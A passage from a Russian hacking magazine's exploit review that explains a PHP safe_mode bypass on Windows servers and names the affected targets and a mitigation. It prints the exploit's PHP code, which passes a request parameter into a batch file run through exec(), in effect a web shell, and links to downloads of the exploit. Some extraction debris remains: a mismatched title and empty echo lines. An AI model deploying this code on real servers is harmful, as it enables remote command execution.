НЕСЛУЧАЙНО CUDA ИДЕМ? phpMyAdmin - Xakep Online

обзор
эксплоитов
обзор
эксплоитов
>> взлом
КАК НИ СТРАННО, ЭКСПЛОЙТ ДЕЙСТВИТЕЛЬНО РАБОТАЕТ :)
«safe_mode». Правда, только на Windows-платформах. Почему
только на Windows?
Дело в том, что баг актуален лишь в силу специфики OS и был пропущен
из-за кроссплатформенности PHP. Все дело в слэшах. Если
в *nix-like системах «/usr/bin/php» и «\usr\bin\php» будут считаться
совершенно разными строками (мало того, вторая строка вернет
тебе ошибку), то Windows сочтет их вполне одинаковыми. К слову, это
является одним из признаков характеристики целевой системы при
ее изучении (Remote OS Fingerprinting). Например, если перед нами
система со сбитыми TTL, Windows Size, а также модифицированным
сетевым стеком, и у нас есть доступ к FTP или Web-Server’у, то можно
сразу опознать Windows всего лишь по двум запросам к файлу.
Эксплойт, совсем недавно опубликованный командой Abysssec
(abyssses.com), представляет собой два файла: php-сценарий «cmd.
php» и исполняемый «cmd.bat» (можно было реализовать баг с использованием
одного файла, ну да ладно).
Ключевой фрагмент сплойта такой:
echo "";
require("abysssec.txt");
echo "";
echo "";
Как видишь, весь баг сводится к тому, что «safe_mode» пропускает
конструкцию «\start cmd.bat», начинающуюся с символа «\». Команда
записывается в «cmd.bat», который выводит ее результат в текстовик. А
текстовый файл, в свою очередь, отображается на экране. Вот такой вот
геморрой :).
>> Exploits
Эксплойт берем по адресу abysssec.com/safemod-windows.zip или
milw0rm.com/sploits/2009-safemod-windows.zip. Описание к эксплойту
(менее подробное, чем в этом обзоре) можно изучить по ссылке s3curi7y.
org/local.php?id=7.
$cmd = $_REQUEST[‘cmd’];
if ($cmd){
$batch = fopen ("cmd.bat","w");
fwrite($batch,"$cmd>abysssec.txt"."\r\n");
fwrite($batch,"exit");
fclose($batch);
exec("\start cmd.bat");
echo "";
echo "Abysssec.com PHP 5.x SafeMod Bypasser";
XÀÊÅÐ 07 /127/ 09
>> Targets:
Уязвимыми являются все версии PHP, но помни, что интерпретатор
должен быть установлен на Windows-платформе. А как проверить OS, ты
уже знаешь.
>> Solution:
В данный момент уязвимость не устранена. Но если позарез нужно избавиться
от бага, просто запрети функцию «exec()» или напиши парсер,
убивающий все боковые слеши.z
053